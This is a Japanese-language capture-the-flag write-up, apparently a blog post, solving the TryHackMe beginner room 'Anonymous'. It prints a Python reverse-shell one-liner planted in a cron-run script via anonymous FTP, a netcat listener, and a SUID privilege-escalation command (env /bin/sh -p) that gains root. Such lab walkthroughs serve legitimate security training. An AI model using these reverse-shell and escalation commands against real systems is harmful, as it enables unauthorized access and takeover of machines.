TryHackMe(THM):Anonymous
目次
Task 1 Pwn
Try to get the two flags! Root the machine and prove your understanding of the fundamentals! This is a virtual machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.
2つの旗を手に入れよう マシンをRoot化して、基礎知識の理解度を証明しよう 本機は初心者向けの仮想マシンです。2つのフラグを取得するには、Linuxの基本的な知識と特権昇格の方法が必要です。
For more information on Linux, check out Learn Linux
Linuxに関する詳しい情報は、Learn Linuxをご覧ください。
Enumerate the machine. How many ports are open?
マシンを列挙する。 いくつのポートが開いているか?
nmapコマンドを入力してみる
#nmap -sV -sC <$IP>
nmapのコマンド結果から解放されているポート数がわかります。
What service is running on port 21?
21番ポートで動作しているサービスは?
nmapの出力結果からサービス名は明らかです。
What service is running on ports 139 and 445?
ポート139と445で動作しているサービスは?
これもnmapの出力結果からサービス名は明らかです。
There's a share on the user's computer. What's it called?
ユーザーのパソコンには、ある共有があります。 それは何と呼ばれていますか?
共有名を答えるので、「smbclient」で接続してみます。
# smbclient -L ////<$IP>/anonymous -N
user.txt
ftpにanonymousでログインしてみます。
ディレクト移動すると3つファイルが見つかりました。
mgetコマンドでローカルPCにダウンロードしてみます。
mget *
clean.shファイルの中身を確認すると、cronで実行するシェルスクリプトのようです。
実行結果のログがscriptsフォルダのremoved_files.logに出力されます。
# cat clean.sh
このシェルをPythonのリバースシェルスクリプトに変更してみます。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<$IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
実際に書くときは全角の括弧は半角の括弧に書き直してください。
編集したclean.shファイルをFTPサーバへputコマンドでアップロードします。
put clean.sh
別のターミナルを起動してnetcatコマンドを実行します。
# nc -lvnp 4444
clean.shファイルはcronで実行されているので、数分待っていると接続してきます。
接続が確認されたら疑似ターミナルを生成します。
$ python -c pty;pty.spawn("/bin/bash")'
生成したシェルでlsコマンドを実行してみます。
$ ls -al
現在のディレクトリ上にuser.txtファイルがありました。
root.txt
この先がわからなかったので、先人の知恵を拝借すると、SUIDを検索するらしい。
「SUID(Set User ID)」とは、「誰がそのファイルを実行しても、セットされたユーザで実行される」という状態のこと。
例えば、passwdコマンドなどは所有者がrootになっておりSUIDが指定されています。この場合どのユーザがpasswdコマンドを実行しても必ずrootユーザが実行した状態となります。 SUIDでrootユーザを指定してある場合、なんの認証もなしにroot権限でそのコマンドを実行できてしまうので一般的にSUIDは扱いに注意が必要です。
ということで、SUIDが有効になっているファイルを検索します。
$ find / -perm -u=s -type f 2 >/dev/null
findコマンドの結果とGTFOBINS Webから以下のコマンドを実行します。
$ /usr/bin/env /bin/sh -p
実行後、whoamiコマンドを実行するとroot権限が取得できています。
cdコマンドとlsコマンドを駆使するとroot.txtファイルが見つかりました。
catコマンドで中身を確認します。
# cat root.txt
完了!